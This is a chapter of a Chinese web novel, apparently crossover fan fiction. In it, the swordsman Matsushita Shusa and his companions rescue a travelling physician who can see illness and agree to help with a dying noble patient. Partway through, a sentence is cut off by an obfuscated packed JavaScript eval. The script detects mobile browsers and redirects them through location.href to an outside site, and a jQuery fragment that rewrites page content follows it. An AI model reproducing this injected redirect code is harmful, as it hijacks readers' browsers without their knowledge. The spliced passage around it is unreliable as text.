“抱歉,我没有听说过这个姓氏。”男人有些为难地看向松下首砂。
“算了,没事,单凭一个姓氏,可用信息的确太过匮乏。”松下首砂想要寻找那块儿被产屋敷一族传承下来的神明预言石刻,只能另寻他法。
不过,在了解到男人的身份并且察觉对方认识不少贵族后,松下首砂立刻有了主意。
现有的人脉资源,不用白不用。
受伤的男人名为慈岳药郎,家里世代经营医药生意,到了他这一代,因为想要对祖传药方进行修缮,便在数年前开始了云游。
云游路上,一边救助各种疑难杂症病患,一边采集药草,修缮药方,用实践去验证他的一些还未进行过尝试的施药设想。
因为家族传承名声在外,云游途中也被许多权贵邀去看诊。
慈岳今日进山,便是为了寻找一味有过记载,却极难在市面上寻求到的草药,未曾想遇上了那般健硕的黑熊,他连丝毫反抗能力都没有,就被一掌拍晕,好在遇到了松下首砂一行人。
“既然你还有体力,趁着天还没黑,我们把你先送下山吧。”松下首砂根据洞外的光线,大致推算了一下时间。
慈岳自然也不想在这个差点儿丧命的山洞中继续待下去,同意了松下首砂的提议。
一路无话,行至半山腰时,慈岳药郎侧过头,看向搀扶着他的松下首砂。
眼神瞟过对方腰间的那把刀,随即又看向走在他们之前的黑发男人,故作探查山路环境的模样,余光顺势扫过哼着奇怪调子,缀在他们身后的红发男子。
这样类似包围的行走状态,慈岳实在难以将想象几人的身份往普通农夫身上去想。
毕竟,普通农夫可没办法对付那么大一头黑熊,还毫发未伤。
“怎么了?伤口不舒服?”松下首砂停下脚步,“要我背你下山吗?”
慈岳以多年险境采药的敏锐,感受到了来自背后的“威胁”。
他打了个冷战,连连拒绝:“不用,不用,我能走,只是习惯性观察周围,寻找草药。”
松下首砂点点头,继续朝着山下行进:“方便的话,你下一次去权贵宅邸行医,能否带上我们……带上我。”
首砂接收到慈岳眼中的为难,硬生生将“我们”扭转成了一个“我”字。
“如果只带你一个人,应该没有问题,你可以以辅助药师的身份,随我拜访家主。”慈岳说道。
相比另外两人,他还是更放心跟在身边的人是松下首砂,虽然三人中,只有松下首砂带着武器,但却是相处起来最令慈岳感觉到放松的一个。
慈岳能够判断出松下首砂想要借助他的人脉,让权贵帮忙寻人,他没办法直接答应,毕竟他只是认识权贵,权贵是否能提供这个帮助,还得看权贵的意思。
但,将松下首砂带进宅邸,拜访权贵,这一点他倒是能够做到。
剩下的就看松下首砂自己的本事。
加上权贵身边有重兵把守,假设松下首砂对权贵不利,相信权贵也有能力应对。
只要战火不燎到他的身上,救命恩人的愿望,他慈岳药郎都会满足。
松下首砂并不意外慈岳会这般说,一直航行海上的艾斯,尽管性格好,但身上那股子海贼独有的气场,却是让普通民众会觉得有些隔阂。
西索就更不用说了,就算现在没有梳张扬的发型、作夸张打扮,但那股藏匿在平静表面下的危险,仍旧不容忽视。
“看来还得准备一套合适的衣服。”松下首砂还没穿过这个时代的传统服饰,也不自己是否适合这个风格。
“嗯,这是基本礼数。”慈岳应声。
下山后,三人跟着慈岳来到了他的临时药房,慈岳作为云游药师,居无定所,在每一个地方停留的时间长短,全看疑难杂症的棘手程度。
西索差不多认清了药房的位置后,就找了个理由溜走,他对那些草药、疑难杂症、拜访当地名门望族可没有兴趣。
松下首砂见艾斯也对这个时代有着浓厚的兴趣,便也没有留艾斯跟他一起随慈岳行动的意思。
预言石刻的事情,松下首砂没有告诉艾斯与西索,他也不可能要求二人保持步调一致,跟着他行动,毕竟这两个人就算是他曾经的队友,也没有义务服从他的安排。
虽然,他似乎很习惯那样做,这也是松下首砂发现的一个疑点。
自从“冒险”的队伍从一个人变为两个人,再到三个人后,松下首砂总会下意识地想要安排艾斯或者西索去做以他们的能力,更适合完成的任务。
可,艾斯与西索是同伴,不是他的手下,更不是需要听从他的指挥,完成指令任务的魔法产物。
对于这样的下意识反应,松下首砂根本找不到头绪,想不明白这样的习惯从什么时候出现,又为何会出现。
西索曾经提到过的那句“引导者”,倏忽出现在松下首砂脑海中。
“引导者”的字面意思很明显,但这个“引导者”到底意味着什么,却又是一个新的谜题。
也正因如此,现在首砂更希望西索与艾斯去做他们想做的事,暂时不要跟着他一同行动。他不想将伙伴或队友关系,变成从属关系。
至少在他想明白这个“习惯”到底的缘由前,他们三个还是分头行动为好。
强调过在阳光充足的白天出行,并将电话虫分给了二人后,松下首砂便没有阻拦想要去找乐子的西索,以及说着这里很像曾经他去过的“和之国”,想要更加了解这个地方而掩饰不住兴奋的艾斯。
西索与艾斯在慈岳的药房前与松下首砂分开,各选了一条路,朝着松下首砂招手离去。
松下首砂没有等待二人的背影完全远去,记下了他们离开的方向后,便转身进了药房。
慈岳的药房里有股散不尽的苦涩,不呛人,但闻起来却涩得让人感觉生活无望。
“虽然是临时药房,但这一次我在此停留太久,这个租下来的小房间已经腌入味了。”慈岳苦笑着解释,“抱歉,这个味道的确难闻,一般治病,我都会亲自上门,不会留病人待在药房。”
“毕竟这个味道闻久了,很容易让病人放弃治疗。”慈岳开着玩笑,见松下首砂努力习惯着药房的味道,继续道,“看你们的打扮,不像本地人,身份应该也不简单,原本我不该透露病人的病情隐私,但如果你们游历的地方多、见识广,能够给我一点帮助,在下感激不尽!”
或许是这三人身上特别的力量燃起了慈岳的希望,即便明确知晓这三人其实并不擅长医术与药学,还是直觉能够从松下首砂身上找到突破点。
“我知道有些冒犯,但希望你能原谅我,”慈岳给松下首砂倒了杯草药茶,不同于药房内的苦涩,草药茶闻上去有一股甘甜的清香,“你同伴中的那位黑发小哥,是不是近期得过足以致死的病症?”
松下首
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087489|161526||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
砂心中一惊。
足以致死的病症,艾斯倒是没得过,但,致死的体验,的确有过。
慈岳找来了清创的药物,重新处理起身上的伤口,艾斯也只是简单地为他做了止血,伤口清创和防感染还需要药物辅助。
“你别误会,我会这般说,是因为我能够感受到人身上的‘病气’,”慈岳看向松下首砂,眼神却落于首砂眉眼更上方的位置“比如,我能够看到你的头部有病气环绕,据经验可以推断你记忆不全。”
松下首砂放松了身体,手也悄悄离开了搭上的刀柄,重新端起茶杯。
慈岳时不时倒吸一口凉气,努力与松下首砂对话,转移注意力,手下动作不停,切掉了一块儿又一块儿的腐肉。
“也许是因为我从小喜欢跟着神官,待在神社,获得了神明的祝福,我是家里天赋最高的孩子,能够靠着这一双看清病气的眼睛,面对各种疑难杂症,都能够做到对症下药。”
慈岳将药粉洒在淌着血的伤口上,继续对松下首砂说道:“因此我能够看到那位黑发小哥身上,已被大量除去,却有残留痕迹的病气。”
空气中的血腥味被药粉的味道掩盖,混合后形成了一股有些令人反胃的腥苦。
“你们既然能够克服那样的致死病症,我想也许你们会成为我的突破口。”慈岳的声音变得有些期待。
松下首砂自然没有办法将艾斯复活的真实原因告知慈岳,只能找借口应付。不过对于慈岳能够看见病气的能力,他也有了别的理解。
在慈岳探查他头部的病气时,松下首砂感受到了非常微弱的念能力波动。
极其微弱,就好似一滴绿豆大小的雨滴落入地面,无声无息,难以被察觉。
若不是因为慈岳点明艾斯曾受致命伤的话语,调动了松下首砂全部的注意力,他或许就会忽视那微弱的念能力波动。
“我只能说会尽力帮你,但我的确不懂医术与草药。”
松下首砂这样的回答,已经是慈岳设想之中的最好结果。
慈岳刚来到这里的时候,正逢黑木一族对外寻医,他也是恰巧碰到这么个机会,接触到了黑木一族,了解到了需要他接手的病患的具体情况。
“周期性治疗其实效果不错,只是根治还需要时间。有一味药我迟迟没有找到,制作不出能够根治那位年轻病人的终版药剂。”
慈岳简单告知了松下首砂那位病患的情况:天生体弱多病、常年卧床、被死亡缠绕、过了今天就没明天……
在知晓这些后,才能明白慈岳能够将这样的病情稳定下来,其药剂多么有含金量。
“正如我刚刚所说,根治还需要时间,但是就怕万一……”慈岳已经完成了对自己身上的伤口的处理,重新包扎好后,清洗干净沾上血液的手,“万一,我没有那么多时间。”
一个需要长期用药的病人,很难看清自己身上的病症是否有好转的迹象,尤其是这种反复徘徊的虚弱濒死状态。
明明能够继续活着,已经是令人欣喜的药效成果,但对于一个被病痛百般折磨的病人而言,想要更快痊愈的执念,比妖魔更加可怕。
“如果我没有猜错,他或许已经认定了我是庸医,打算赶走我了,但我还不想放弃。”慈岳擦干净手上的水渍,回到松下首砂面前站定,语气诚恳,“等你见到我的那位病人就知道了,他眼中对‘生’的渴望,犹如烈日酷暑,灼烧着我的心脏。”